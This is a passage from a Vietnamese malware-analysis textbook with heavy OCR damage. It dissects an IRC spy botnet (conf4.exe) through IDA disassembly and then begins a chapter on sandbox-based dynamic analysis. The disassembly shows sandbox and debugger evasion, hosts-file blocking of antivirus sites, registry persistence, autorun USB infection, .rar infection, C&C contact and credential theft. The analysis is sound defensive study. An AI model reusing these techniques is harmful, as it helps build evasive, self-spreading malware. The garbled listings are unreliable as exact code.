Luu vao cac dia chi:
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* .data:0040BC28 ; char aShel132_d11[]

.data:00408C28 aShel132_d1T  db 'shel132.d11',0 ; DATA XREF: GetFunction:Toc_40479Cto
*l.data:0040BC34 ; char awnetcancelco 0[]

.data:00408C34 awnetcancelco 0 db 'wNetCancelConnection2w',0 ; DATA XREF: GetFunction+628To
*|.data:0040BCdB align 4

* .data:0040BC4C ; char awWnetcancelconn[]

.data:00408C4C aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: GetFunctionsblETo
*| data:00408C63 align 4

* .data:00408C64 ; char awWnetaddconne_0[]

.data: 0040864 awnetaddconne_0 db 'wNetAddConnection2w',0 ; DATA XREF: GetFunctiontbllfo

* . data:00408C78 ; char awWnetaddconnect[]

.data:00408C78 awWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: GetFunction+b609To

1. data:0040BCEC ; char aMpr_d11[]

.data: 00408C8C aMpr_d1 db ‘mpr.d11",0 ; DATA XREF: GetFunction:Toc_404728t0
* .data: 0040894 ; char aGetudptable[]

.data:00408C9 aGetudptable  db 'GetUdpTable',0 ; DATA XREF: GetFunction+dAFto
*l.data:00408CA0 ; char aGettcptable[]

.data:00408CA0 aGettcptable  db 'GetTcpTable',0 ; DATA XREF: GetFunctions5AZto
* .data:0040BCAC ; char aGetiftable[]

.data:0040BCAC aGetiftahle db 'GetIfTable',0 ; DATA XREF: GetFunction+)93to
*|.data: 0040BCB7 align 4

*|.data:0040BCES ; char aDeleteipnetent[]
.data:00408CBS aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: GetFunction+386To
* | data: 00408CC9 align 4
* .data:0040BCCC ; char aGetipnettable[]
.data:0040BCCC aGetipnettable db 'GetIpNetTable',0  ; DATA XREF: GetFunction+380To

*|.data: 0040BCDA align 4
*|.data:00408CDC ; char aIphlpapi_dl1[]

.data:00408CDC aIphlpapi_d1l  db “iphlpapi.d1l’',0 ; DATA XREF: GetFunction:Toc_40469Fto
*|.data: 0040BCE9 align 4

*|.data:0040BCEC ; char abnsflushreso_0[]

.data:00408CEC aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0

.data: 0040BCEC ; DATA XREF: GetFunction+33Etfo

* | data: 00408009 align 4

* . data:00408D0C ; char abnsflushresolv(]

.data:00408D0C abnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: GetFunction+336To

*| data:00408D22 align 4
* .data:00408D24 ; char abnsapi_d11[]

.data: 00408024 abnsapi_d11 db 'dnsapi.d1l1',0 ; DATA XREF: GetFunction:Toc_404635t0
*|.data: 0040BD2F align 10h
*|.data:00408D30 ; char aNetapi32_dl11[]

.data:00408D30 aNetapid2_dll db 'netapi32.dll',0 ; DATA XREF: GetFunction:Toc_404640t0
* |, data:00408D3D align 10h
* . data: 00408040 aMozillad_OComp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: GetFunctionsdE7To
*|_data:0040RN59 alion 4

Hinh 4-44: Luu céc dia chi
sub 4013C tiép theo thuc hién kiém tra hang loat cac chwong trinh
analysis nhu: WireShark, TCPview, Process monitor, file mon. (kiém tra
bang cac phuong phdp co ban nhu: Registry search, EnumProcess-
search...)

Vi du Registry search:
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BUL NP, S

push ebx

push esi

mov eax, 10000h

push edi

push eax ; Size

mov [ebp+Newsize], eax

call ds:malloc

mov [ebp+Memory], eax

mov [esp+60h+var_60], 310h
push 0E6h

Tea eax, [ebp+valueName]

push offset Format 7 "%d %d™
push eax ; Dest
call ds:sprintf

add esp, 10h

Tea eax, [ebp+NewSize]

mov esi, ds:RegQueryValueExA
xXor ebx, ebx

push eax ; IpchData
Tea eax, [ebp+valueName]

push Lebp+Memory] ; IpData
push ebx ; 1pType
push ebx ; 1pReserved
push eax ; IpvalueName
push 80000004h ; hkey
call esi ; RegQueryValusExA

mov edi, OEaAh

Hinh 4-45: Registry search

Ham sub_4049B9 ham kiém tra sanbox, vnware..

LEAL . VUMUMI0Y val 0 = unoiyg pur o
Ltext: 00404989 pebBuffer « dword ptr -4
Ltext: 00404989
" text: 00404989 push  ebp
' text: 0040498A mov  ebp, esp
' text: 0040498¢ sub  esp, 94h
'L text: 0040492 push  es1
' text:004049¢3 lea  eax, [ebpepchBuffer)
' text: 004049¢6 push  edi
' text: 004049¢7 push  eax 1 pebBuffer
' text:004049¢8 lea eax, [ebpsstr)
'L text: 004049¢E mov [ebpsvar_14], offset aSandbox ; "sai
*| text: 00404905 push  eax |+ IpBuffer
' text: 00404906 Moy (ebpavar_10], offset aHoney ; “honey
' text: 00404900 mov (ebpavar_C], offset avaware ; " ]
' text: 00404964 mov [ebpevar_8], offset aCurrentuser ; "currentuse
' text: 0040498 mov (ebpspcbBuffer], 80h
*Ltext: 0040492 call  ds:GetuserNameA
' text: 004049F8 Tea cax, [ebpsstr]
' text: 004049FE push  eax v Ipsz
'L text:004049FF call  ds:CharLowerA
'L text: 00404405 Xor edi, edi
' text: 00404407 lea  esi, [ebpsvar_14)

Hinh 4-46: Kiém tra mdi trudng ao
sub 404C01, sub 404A31 1a 2 sub kiém tra debug(ding ham
ZwQuerySystemInformation, ZwQueryInformationProcess)
Stra tén danh déu lai khi nao debug ta patch nop cac ham nay lai.
Tiép theo 1a mot ham sub  404C26 v6i trach nhi¢m edit lai file host
thém hang loat cac trang web ciia cic hing antivirus tro vé dia chi
127.0.0.1 ngan can ta down cac phan mém diét virus.
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Openfile host:

- 0040427 push  ebp

-+ 0040428 mv ebp, ds:fopen

- 004042 push — esi

- 0040dC2F push — edi

-+ 00404c30 mov st offset Filename ; "\\WINDOWS\\Systen32\\drivers\\etc!\hosts”
= 0040435 push ~ offset Mode ;'

- 00404C3A push — esi + Filenane

004043 call  ebp ; fopen

-+ 00404C30 my  edi, eax

Hinh 4-47: Openfile host

Printf thém cac chudi vao:

ext: 0040498 jz Toc_404g42

ext: 00404¢9E mov esi, ds:fprintf

ext: 00404cad push  offset al27_0_0_lwww_s ; "\n127.0.0.1\twww.symantec.com\n"
ext: 00404ca9 push  edi ; File

ext: 00404CAA call  esi; fprintf

ext: 00404CAC push  offset al27_0_0_1secur ; "127.0.0.1\tsecurityresponse.symantec.com". .
ext:00404¢B1 push  edi ; File

ext: 00404¢B2 call  esi; fprintf

ext: 00404¢4 push  offset al27_0_0_1syman ; "127.0.0.1\tsymantec.comn”
ext:00404cg9 push  edi ; File

ext: 00404CBA call  esi; fprintf

ext: 00404CBC push  offset al27_0_0_lwww_0 ; "127.0.0.1\twww.sophos.com\n"
ext:00404ccl push  edi ; File

ext:00404cC2 call  esi; fprintf

ext: 00404ccd push  offset al27_0_0_1Sopho ; "127.0.0.1\tsophos. com\n"

ext: 00404cc9 push  edi ; File

ext: 00404CCA call  esi; fprintf

ext: 00404ccC push  offset al27_0_0_Iwww_m ; "127.0.0.1\twww.mcafee. com\n”
ext:00404cnl push  edi ; File

ext:00404cD2 call  esi; fprintf

ext: 00404cp4 push  offset al27_0_0_IMcafe ; "127.0.0.1\tmcafee. com\n"

ext: 0040409 push  edi ; File

ext:00404CDA call  esi; fprintf

ext: 00404CnC push  offset al27_0_0_1Liveu ; "127.0.0.1\tliveupdate.symantecliveupdate”. .
ext: 00404cEl push  edi ; File

ext: 00404¢CE2 call  esi ; fprintf

ext: 00404CE4 add esp, 40h

ext: 00404CE7 push  offset al27_0_0 lwww_v ; "127.0.0.1\twww.virusTist.com\n"
ext: 00404CEC push  edi ; File

ext: 00404CED call  esi| fprintf

ext: 00404CEF mov ebx, offset al27_0_0_Ivirus ; "127.0.0.1\tviruslist. com\n”
ext:00404cr4 push  ebx ; Format

Hinh 4-48: In thém céc chudi
O tiép theo xuat hién vai ham giai ma dé 1ay cac khoa registry can ding

ky. Ta debug 1y cac chudi giai ma duoc.
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“|.text:004027D9 Tlea eax, [ebp+Filename]
“|.text:004027DF push esi ; nsize

° . text:004027E0 push eax 3 IpFilename

° . text:004027E1 push ebx ; TpModuleName
*|. text: 0040272 call ds GetModu]eHand'IeA

“ | text:004027e8 push : hModule
“|.text:004027E9 call ds GetModu]EFﬂeNameA
“|.text:004027EF Tlea eax, [ebp+CurrentDirectory]

“ . text:004027F5 push esi ; nsize

° . text:004027F6 push eax ; IpDst
“|.text:004027F7 push offset Windir_ ; "|ifofse"

°|. text:004027FC call GiaiMa

° . text:00402801 pop ecx

° . text:00402802 push eax ; Ipsrc

“ | text:00402803 call ds:ExpandEnvironmentstringsA
° . text:00402809 mov esi, offset Tskconf_exe ; "»E8EVGO¥+PaP”
° . text: 0040280 push esi ; Source

*|. text:0040280F call Giaima

°|.text:00402814 push eax

° . text:00402815 lea eax, [ebp+CurrentDirectory]
“|.text:0040281B push eax

“ | text:0040281cC lea eax, [ebp+App11cat1onName]

“ | text:00402822 push offset ass 3 "s\\%s"
“|.text:00402827 push eax ; Dest

“ | text:00402828 call ds:sprintf

° . text:0040282E push esi ; Source
“|.text:0040282F call GiaiMa

“ | text:00402834 push eax

“|.text:00402835 lea eax, [ebp+CurrentDirectory]

° . text:00402838 push eax

*|. text:0040283C call HideFile

° | text:00402841 add esp, 20h

° . text:00402844 test eax, eax

®|.text:00402846 jz Toc_402A0C

“ | text:0040284¢C Tlea eax, [ebp+hkey]

° . text:0040284F push ebx ; IpdwDisposition
° . text:00402850 mov edi, ds:RegCreatekeyExA

“ | text: 00402856 push eax ; phkResult

° | text:00402857 push ebx ; IpSecurityAttributes
° . text:00402858 push O0F003Fh ; samDesired

Hinh 4-49: Xuét hién ham giai ma dé lay khoa registry
Ham giai ma c6 dia chi: 40489

PHIEIT | Bt ENESEHY
2 ES Fazdonge
Y]
=11]
FF1E CIB408
EE CCES4808
ES EbzbuEen

95 98FEFFFF

D4FRFFFF LEH EH-* Do 55: [EBP-52C]
ECER4080 BA40E58 farmat = ™

sprintf

D EREC NN EREE
Hinh 4-50: Ham giai ma co6 dia chi 40489
Lan luot check cac ham giai ma ta 1ay hét ludn céc chudi can giai ma:
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U, r e ages
.data:0040B5CC ; char Tskconf_exe[]

.data:0040B5CC Tskconf_exe db '=»&evoo¥+Par',0
data:0040B5D8 ; char Tskconf[]

.data:0040B5D8 Tskconf db '»éeyoo¥',0
.data:0040B5D8

.data:0040B5E0 ; char windir_[]

.data:0040B5E0 windir_ db 'lisof&e)"',0
.data:0040B5E9 align 4

.data:0040B5EC ; char MSN[]

data: 0040B5EC MSN db '+ )é0+"',0
.data:0040B5EC

.data:0040B5F2 align 4

data:0040B5F4 ; char crack_exe[] -

data:0040B5F4 crack_exe db '+EéUvE+PaP"',0
data:0040B5FE align 10h

data: 00408600 ; char usb_driver_com[]

data:0040B600 usb_driver_com db 'AeOnféfirPé+yoia',0
data:0040B60F align 10h

data: 00408610 new_g0v_me db "oPi+f-3+aP',0

Hinh 4- 51: Kiém tra ham gia md dé 1y chudi can giai ma
Dung chudi vira giai ma dugc 12 filename:

L Text:uu4uLsusL push eax ;o Ipsrc

.text: 00402803 call ds:ExpandEnvironmentStringsA
.text: 00402809 mov esi, offset Tskconf_exe ; "»EEVO0Y¥+PAP"
- text:0040280E push esi ; Source
.text:0040280F call GiaiMa

.text: 00402814 push eax

- text:00402815 lea eax, [ebp+CurrentDirectory]
.text: 00402818 push eax

.text:0040281cC lea eax, [ebp+applicationName]

- text:00402822 push offset ass 5 UHs\\%s"

.text: 00402827 push eax ; Dest

.text: 00402828 call ds:sprintf

. text:0040282E push esi ; Source
.text:0040282F call Giaima

. text:00402834 push eax

. text:00402835 lea eax, [ebp+CurrentDirectory]
.text: 00402838 push eax

. text:0040283C call HideFile

.text: 00402841 add esp, 20h

.text: 00402844 test eax, eax

.text:00402846 jz Toc_402A0C

.text:0040284C Tea eax, [ebpthKey]

.text:0040284F push ebx ; IpdwDisposition
. text:00402850 mowv edi, ds:RegCreateKeyExA

.text: 00402856 push eax ; phkResult
.text: 00402857 push ebx ; IpSecurityAttributes
.text:00402858 push OF003Fh ; samDesired
.text:0040285D push ebx ; dwOptions
.text:0040285E push ebx ; IpClass

. text:0040285F push ebx ; Reserved

.text: 00402860 push offset SubKey ; "SOFTWAREN\\Microsoft\\Windows\\CurrentVersi”...
.text: 00402865 push 80000002h ; hKey

- text:0040286A mowv [ebp+hKey], ebx

.text:0040286D call edi ; RegCreateKeyExA
.text:0040286F ush esi ; Source

.text: 00402870 all GiaiMa

Hinh 4-52: Giai ma tén file dung tén dang ki Registry
Tién hanh tao Path file dung cho cac ham Hide File (ding Api
SetFileAttributesA) dia chi 403CC2.
Ding ky khoa registry dé chuong trinh tu khoi dong.
Ding ky khoa registry dé thém malware vao danh sach cia tudng lia
window.

Vi cac khoa Registry = filename tai cac path sau:
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temCurrentc| |
entc db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal"
: DATA XREF: WinMain(x,x,x,x)+223%o
db "TPolicy\StandardProfile\Authorizedapplicationsi\List",0
align 4
ableds[]
db '%s:*:Enabled:%s',0 ; DATA XREF: WinMain(x,x,x,x)+1FBTo
twareMicr_0[]
cr_0 db "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Inst’
: DATA XREF: WinMain(x,x,x,x)+190%To
. RemoveRegistry+57To
. db "all\Software\Microsoft\Windows\Currentversion\Run\",0
ey
db 'SOFTWARE‘\Microsoft\Windows\Currentversion\Run\',0
; DATA XREF: WinMain(x,x,x,x)+13BTo
align 4

Hinh 4-53: Cac duong dan
Tao Thread méi tu dong copy file:

; CODE XREF: InfectDrive+b/}1]
; InfectDrive+D41]
push 2EEOh ; dwMilliseconds
call ds:sleep
lea eax, [ebp+Buffer]
push eax ; IpBuffer
push 201h ; nBufferLength
call ds:GetLogicalDriveStringsA
test eax, eax
jz short loc_405B0A
lea esi, [ebp+Buffer]
; CODE XREF: InfectDriwve+D2]}]
mow al, [esi]
cmp al, 41h
mow byte ptr [ebp+string2], al
jz short loc_405B8B
cmp al, 42h
jz short Toc_405B8B
cmp al, 61lh
jz short loc_405B8B
cmp al, 62h
jz short Toc_405B8B
Tea eax, [ebp+string?]
push eax ; TpRootPathName
call ds: GetDriveTypeA
cmp eax, 2
jnz short loc_405B8B
lea eax, [ebp+string2]
push eax ; IpsString2
call sub_40583F
test eax, eax
pop ecx
jz short lToc_405B8B
lea eax, [ebp+sString2]
push eax
push offset abvlzBOt ; "[DvLz-BOTU]:"
push offset aslnf3ct3dDrlv3 ; "#s Inf3ct3d Drlv3: %s"
push offset MSN Ml &
call GiaiMa
pop ecx
push eax ; int
push [ebp+var_BC] ;3 dint
call sendactive |
add esp, 1ldh

Hinh 4-54: Lay tén 6 dia va kiéu 6 dia
Dung cac APl GetLogicalDriveStringA 1ay tén 6 dia, GetDriveTypeA

lay kiéu 6 dia.
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lea eax, [ebp+ExistingFileName]
push eax ; IpExistingFileName
call ds:CopyFileA
mov [ebp+var_4], eax
lea eax, [ebp+PathName]
push 7 ; dwFileAttributes
push eax ; 1pFileName
call ebx : setFileAttributesa
mov ecx, 80h
Xor eax, eax
lTea edi, [ebp+ExistingFileName]
cmp [ebp+Pathname], 5Ch
rep stosd
stosw
lTea edi, [ebp+PathName]
jz short loc_4059EE
; CODE XREF: Infect+lAD]]
inc edi
cmp byte ptr [edi], 5Ch
jnz short loc_4059E8
; CODE XREF: Infect+lA7Tj
lea eax, [ebp+ExistingFileName]
push offset aAutorunOpen ; "[autorun]\r\nopen="
push eax ; 1pstringl
inc edi
call esi ; lIstrcatA
lTea eax, [ebp+ExistingFileName]
push edi ; Ipstring?
push eax ; 1pstringl
call esi : lIstrcatA
lea eax, [ebp+ExistingFileName]
push offset aActionOpenshel ; "\r\naction=Open‘\rinshell\\open=0penirinshel 1\ \o"..
push eax ; Ipstringl
call| esi ; lIstrcatA

Taa

aawv FahniCwictinaCa Takamal

Hinh 4-55: Copy file virus tao méi cac file

Dung cac APl CopyFileA copy file virus sang, tao mdi cac file

desktop.ini, autorun.inf dang ky cac khoa autorun.

push
call
lTea

push
push
call
Tea

push
push
call
Xor

Tea

push
push
push
push
push
push
push
call
mow

TaA, LEWpTr QA Liianez |

eax ; Ipstringl

esi : Istrcata
eax, [ebp+PathName]
offset aAutorun_inf

"\\autorun. inf"

eax ; TpStrﬁngl

esi : Istrcata
eax, [ebp+PathName]

80h ; dwFileAttributes
eax ; 1pFileName
ebx ; SetFileAttributesA

esi, esi
eax, [ebp+PathName]
esi ;

hTemplateFile

¥
7 ; dwFlagsAandAttributes
2 ; dwCreationDisposition
esi ; IpSecurityAttributes
esi ; dwshareMode
40000000h ; dwDesiredAccess
eax ; IpFileName
ds:CreateFileA
edi, eax

Hinh 4-56:

Tao file autorun

Tiép theo la tao Thread véi ham hoat dong chinh cua Bot:
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lea
mov
push
lea
push
push
push
push
push
Mo
call
lea
push
push
push
push
push
push
call
mov
cmp
jz
push
push
call
push
call

liéu.

; CODE XREF: WinMain(x,x,x,x)+121T1j

eax, [ebp+Threadid]

esi, ds:CreateThread

eax ; 1pThreadId

eax, [ebp+Parameter]

ebx ; dwCreationFlags
eax ; IpParameter
offset InfectDrive ; Ipstartaddress
ebx ; dwstacksize

ebx ; IpThreadattributes
[ebp+Parameter], offset unk_40D280
esi ; CreateThread

eax, [ebp+Threadid]

eax ; IpThreadId

ebx ; dwCreationFlags
ebx ; IpParameter
offset MainBot ; TpStartAddress
ebx ; dwstacksize

ebx ; IpThreadattributes
es’ CreateThread

esi, eax

esi, ebx

short loc_402A52

OFFFFFFFFh ; dwMilliseconds
85 ; hHandle
ds:waitForsingleObject

esi ; hObject

edi CloseHandle

Hinh 4-57: Tao thread va cac hoat dong chinh

Tao mutexname: 4y6t8mUt1l dé tranh viéc tao cac thread xung dot dir

e

mow
push
xXor
xXor
mow

push
push
push
call
cmp
mow
jnz
push
call
inc
cmp
ji

push
push
push
push
call
push
call
cmp

inz

esi, ds:CreateMutexA

edq
ebx, ebx
ebp, ebp
edi, offset Name ; "4dyw6t8muUutll”™
; CODE XREF: MainBot+36Q17j
ed- ;7 TpName
ebx ; bInitialowner
ebx ; IpMutexAttributes
esi ; CreateMutexaA

eax, ebx |
hMutex, eax
short loc_402A93
1388h

ds:Sleep

dwiMilliseconds

ebp
ebp, 6
short Toc_402a74

CODE XREF: MainBot+25Tj

T
7530h ; dwMmilliseconds
ed ;7 TpName
1 ; bInitialowner
ebx ; IpMutexAttributes
esi ; CreateMutexA
eax ; hHandle

ds:waitForsingleObject
eax, 102h
short loc_402AB3

s B e N ]

Hinh 4-58 Tao mutexname 4y6t8mUt11
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Tao connect t6i C&C server: new_gOv_me
I[LRY CLA, E31

call sub_403783

push eax - int
push 7

push 4

mov ecx, es]

call sub_403/83

push eax : Source
lea eax, new_gOv_mel[edi] ; "oPi+fi-1+0P"
push dword_408720[edi] ; int
push eax » Source
call GiaiMa

pop eCx

push eax - int
mov ecx, es] - int
call CreatConect

Hinh 4-59: Tao conect tdi C&C server
Ham CreateCOnect: dung cac socket API

pusIni [t B Y y —UWursn
push 2 : _DWORD
call socket_0

cmp eax, OFFFFFFFFh

mowv [esi], eax

jz short loc_403146

push L[ebp+arg_0]

call gethosthyname

test eax, eax

jz short loc_40313E

mov eax, [eax+0Ch]

push 4 : Size
push dword ptr [eax] ; Src
lea eax, [ebp+Dst]

push eax ; Dst
call memcpy

add esp, 0Och

Mo word ptr [ebp+var_10], 2
push Llebp+arg_4]

call htons

Mo word ptr [ebp+var_104+2], ax
lea eax, [ebp+var_10]

push 10h ; _DWORD
push eax ; _DWORD
push dword ptr [esi] ; _DWORD
call conect

cmp eax, OFFFFFFFFh

jnz short loc_40314D

Hinh 4-60: Dung céc socket API

May chi diéu khién bot di ngimg hoat dong, Bot trao d6i v6i may chu
qua giao thirc IRC dung socket.
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Text:Uu4usbiB

text: 00408638 push esi

text:0040863C mov esi, [esp+4+arg_0]
text:00408640 push edi

text: 00408641 push offset sub_408CFA ; int
text: 00408646 push offset akrror_0 ; "ERROR"
text: 00408648 mow ecx, esi

text:0040864D call sub_402E9E

text: 00408652 push offset sub_4080D1 ; int
text:00408657 push offset aPrivmsg ; "PRIVMS
text:0040865C mov ecx, esl

text:0040865E call sub_402E9E
text:00408663 push offset sub_40830F ; int
text: 00408668 push offset aKick ; 'KICK"
text:0040866D mov ecx, esi

text:0040866F call sub_402E9E

text: 00408674 mov edi, offset sub_4083DD
text: 00408679 mov ecx, esi

text: 00408678 push edi :int
text:0040867C push offset aTopic_0 ; "ToPIC"
text: 00408681 call sub_402E9E

text: 00408686 push edi ; int
text: 00408687 push offset a3i2 - "332"
text:0040868C mov ecx, esi

text: 004 0868E call sub_402E9E
text:00408693 push offset sub_408607 ; int
text:00408698 push offset a3bb - "366"
text:0040869D mov ecx, esi

text:0040869F call sub_402E9E
text:004086A4 mov edi, offset sub_40856A
text:004086A9 mov ecx, esi

text:004086A8 push edi ;int
text:004086AC push offset al05 - "005"
text: 00408681 call sub_402e9E

text: 00408686 push edi : int
text: 00408687 push offset ai’6 : "376"
text:004086BC mov ecx, esi

text:004086BE call sub_402E9E
text:004086C3 push edi ; int
text:004086C4 push offset adl22 . "422"
text:004086C9 mov ecx, esi

text:004086CB call sub_402E9E

text: 00408600 push offset sub_408621 ; int
text: 00408605 push offset ad33 - 433"

Hinh 4-61: Case Function vdi céc 1énh ciia IRC nhu KICK,PRIVMSG ...
Cac chtrc nang chinh cua Bot ma ta tim dugc:
Tu huy delete Registry key.

Tu tao cac file.bat remove cac file.
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push oftset aSofttwareMicr_l ; “Softtware\\Microsott\\Windows\\Curren
push 80000002h : hKey

call edi ; RegCreateKeyExA

push offset Tskconf ; "»éEyoo¥"

call GiaiMa

mov ebx, ds:RegDeletevalueA

pop ecx

push eax ; IpvalueName
push [ebp+hKey] ; hKey

call ebx ; RegDeletevalueA

push [ebp+hKey] ; hkey

call ds:RegCloseKey

Tea eax, [ebp+hKey]

push esi ; IpdwDisposition
push eax ; phkResult

push esi ; IpSecurityAttributes
push 0F003Fh ; samDesired

push esi : dwOptions

push esi ; IpClass

push esi ; Reserved

push offset asoftwareMicr_0 : "SOFTWARE‘“Microsoft\\Windows NT\\Cur
push 80000002h ; hKey

call edi ; RegCreateKeyExA

push offset Tskconf ; "»éEyoo¥"

call GiaiMa

pop ecx

push eax ; IpvalueName
push [ebp+hKey] ; hKey

call ebx ; RegDeletevalueA

push [ebp+hKey] ; hKey

call ds:RegCloseKey

push hMutex ; hMutex

call ds:ReleaseMutex

cmp [ebp+arg_0], esi

jnz short Toc_404127

rall cnh ANR7Nnd

Hinh 4-62: Tim dugc chirc nang tu hiy — huy cac registry key.

Download cac file tu cap nhat, Function c6 dia chi 404FE6.

Lay lan file crack.exe vao tat ca céc file. Rar dia chi 405FB7.

seTeurrentuirectoryal .. J,

}

else

if ( GetFullPathNameA(FindrFileData.cFileName, Ox10du, &String, &FilePart) )

CharLowerA(&string);

v2 = 1strlenA(&String);

if ( Imememp(&/3[v2], "rar”, 3u) )
{

Sleep(0x1388u);
sub_406032(&v6, 7, 1);

sub_405¢39(&tring, NumberOfBytesWritten, "+EUyE+PaP", 128);:// +EUyE+PaP = crack.exe

}
}

1

Hinh 4-63 L&y lan file crack.exe

Spam email(send file zip dé lay 1an),Spam lay thong tin cac loai tai
khoan yahoo, MSN, Skype dia chi 4060a5. Pa s6 sir dung k¥ thuat dung

ham API keybd_event dé giri cac phim.
Dua file lay lan vao mang P2P torrent
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402273 pop ecx
402274 i ; . t

102274 push offset abvizTrltOn

402279 4 B

402279

402279

402279 loc_402279; : CODE XREF: CaseChucNang+33071j
402279 : CaseChucNang+622ty ...

402279 push offset asThr34dplsdbl3

40227€ A

40227€ jmp short loc_402202

402280

402280

402280

402280 loc_402280: ; CODE XREF: CaseChucNang+7DB1j
402280 push dword ptr [esi] ; IpString2

402282 push offset aP2p

402287 call edi st piA

102289 test eax, eax

102288 inz short loc_40229C

402280 i

402280 call sub_407803

402292 H ) P2pl: |

402292 push offset aDvizP2pFl131nj

402297 (

402297 jmp loc_401£66 |

40229c¢

Hinh 4-64: Pua file lay lan vao mang P2P

Ngoai ra con cac chic ning nhu: Dung kiéu tin céng syn flood mot
may nao d6, va tim giai ma hé thong luu trit bao vé Pstore ciia windows.
Dung cac ham API tai Pstore.dll dé 14y va giai ma cac dit liéu.

Trén ddy da phan tich cac k§ thuat cua file chinh la rewrite process
thanh mot con mdi 1a mét botnet IRC.

4.6 Viét bao céo véi miu vira phan tich.

I. CONF4.exe
SHA256:1c09b262b940d22¢7f0b6956aee0949a640db66616bf70e4cdf6b
1e7eae06828
SHAL: fd24495048ce85e39174b0fof6fc5597137b84d5
MD5: ceea769e2b3dfc45ce8f0075541a5939
File size: 112.7 KB( 115376 bytes)

File name: conf4.exe
File type: Win32EXE
Code bang Borland Delphi( 2.0-7.0) va VisualC++ 6.0

I1. Thong tin chung

- File 1a mdt Spy Bot Net da bi 22/44 trinh di¢t virus phat hién theo
virus total xac dinh.

III. Cac hoat dong cu thé.
Kiém tra cac chuong trinh thuc hién viéc phan tich nhu wireshark,... va

ham kiém tra sanbox, vmware...
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RN

.text
.text

.text:
.text:

text

Jtext:
.text:
.text:

.text
.text
LJtext

VY IW T e

+004049¢3
:004049¢6
004049¢7
004049c8
:004049¢E
00404905
00404906
0040490D
:004049¢4
:004049¢8
10040492

ey

lea ;5%. [ebp+pcbBuffer]

push edi

ush eax ; pcbBuffer

ea eax, [ebp+5tr]

mov [ebp+var_14], offset aSandbox ; “sandbox”

push eax | ; TpBuffer

mov (ebpsvar_10], offset aHoney ; "honey'

mov [ebpavar_C], offset aveware ; "vimare"

mov [ebpsvar_8), offset aCurrentuser ; "currentuser”
mov [ebp+pcbBuffer], 80h

call ds: GetUserNameA

Hinh 4-65: Kiém tra mdi trudng phén tich

Thuc hién viéc dang ki, tao thread tu dong copy file, dung cac API

CopyFileA copy file virus sang, tao maéi céc file desktop.ini dang ki cac

khda autorun:

push
call
lea

push
push
call
lea

push
push
call
xor

lea

push
push
push
push
push
push
push
call
mov

CAA, LSWpTraciinanmc

eax i 1pStringl

esi : IstrcatA

eax, [ebp+PathName]

offset aAutorun_inf ; "\\autorun,inf"
eax ; IpStringl

esi : IstrcatA

eax, [ebp+PathName]

80h i dwFileAttributes
eax ; 1pFileName

ebx ; SetFileAttributesA

esi, esi

eax, [ebp+PathName]

esi ; hTemplateFile

dwFlagsAndAttributes

2 ; dwCreationDisposition
esi ; IpSecurityAttributes
esi : dwShareMode

40000000h ; dwDesiredAccess

eax ; 1pFileName
ds:CreateFileA

edi, eax

Hinh 4-66: Tao autorun

Tao céc thread v6i ham chinh cua Bot, dé duy tri nhan 1é€nh bot tir xa tir
C&C server: New.gov.me.

Céc chirc nang ctia Bot tim thay:

- Ty huy
- X0a Registry key

- Tu tao file.bat remove cac file

- Download céc file tu cap nhat

- Lay lan file crack.exe vao tat ca cac file. rar trén may.
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et urrentuirectoryag .. J;

else

if ( GetFullpathNameA(FindFileData.cFileName, 0x104u, &string, &Fileprart) )
{

CharLowerA(&string);
vZ2 = IstrlenA(&tring);
}f C 'memcmp (&v3[v2], "rar", 3u) )
Sleep(0x1388u);
sub_406032(&v6, 7, 1); o o
) sub_405C39(&string, NumberOfBytesWritten, "+&UyE4+PaP", 128);// +éUyE+P3P = crack.exe
}

1

Hinh 4-67 Lay lan file crack vao cacsi file .rar
- Spam email ( gui file zip ), Spam ldy thong tin cac loai tai khoan
yahoo, MSN, Spype
- Pua file lay nhiém vao mang P2P torrent

FL LB

402280

102280

102280 loc_402280: ; CODE XREF: CaseChucNang+/DBTj
402280 push dword ptr [esi] ; lpString2

402282 push of fset arlp "

402287 call edi ; lstrompia

102289 test eax, eax

Hinh 4-68 Lay nhiém vao mang P2P torrent
- Tén cong Dos cac muc tiéu chi dinh ( syn flood)

- Tim gida ma h¢ thong bao vé Pstore cia Windows

4.6 Cau héi va bai tap
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Chuwong 5

CAC KY THUAT PHAN TiCH PONG
Phan tich dong 1a mot trong nhiéu phwong phép sir dung dé phan tich
ma doc hai.
5.1 Ky thuat phéan tich dgng sir dung Sandbox
Viéc xay dung hé théng tu dong phan tich ma doc hai thi da co rat
nhiéu hang trén thé gidi da thuc hién, ho ciing st dung ¢ rat nhiéu cong

nghé khac nhau. C6 thé ké dén cac hang nhu :

Threat Expert : www.threatexpert.com

Anubis http://analysis.seclab.tuwien.ac.at/

CWSandbox http://research.sunbelt-software.com/ViewMalware.aspx
Norman Sandbox http://www.norman.com/microsites/nsic/en-us
Joebox http://www.joebox.com

Tuy nhién thuong cac hing thi khong néi 1o cach thirc tao hé thong tur
dong phan tich ma doc hai va phuong phap dé phan tich chi tiét rd rang
nhu thé nao. Ma thuong chi cho cho nguoi phan tich giri mau 1én va sau
mot thoi gian nhan két qua qua email vé.

Chi c6 hing Joebox néu dic diém cach xay dung va nhitng cach
ho 4p dung, vé thé phan tiép sau ddy s& mo ta qué trinh phat trién hé
thong tu dong phan tich ma doc hai cia ho qua tirng phién ban.

5.1.1 Cong nghé Sanbox caa Joebox
5.1.1.1 Gigi thigu hang Joebox

Joe Security 1a mot td chtrc dugce diéu hanh boi Stefan Buehlmann
BSc FHNW nguoi hién gio dang theo dudi bang Master & It-Security tai
Security Engineering Lab tai khoa Engineering and Information
Technology cua truong  Bern University of Applied Sciences,
Switzerland. Anh c6 sé thich ddc biét voi cac chuong trinh muc thap,
mang may tinh va cac hé théng phan tan, thiét ké hé diéu hanh va céac
g dung bao mat. Anh ta 1a ngudi dimg dau JoeSecurity.

Muc dich cua ho 1a thuc thi mot hé théng phan tan c& 160, co s
ha ting dé thu thap, phan tich, danh gia va chong lai ma doc hai trén moi

truong Windows.
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Thanh vién trong JoeSecurity kha it ngoai Stephan chi c6 thém
Christopher Liebchen 1a mot sinh vién tir Pirc hién gid nghién ciru vé tin
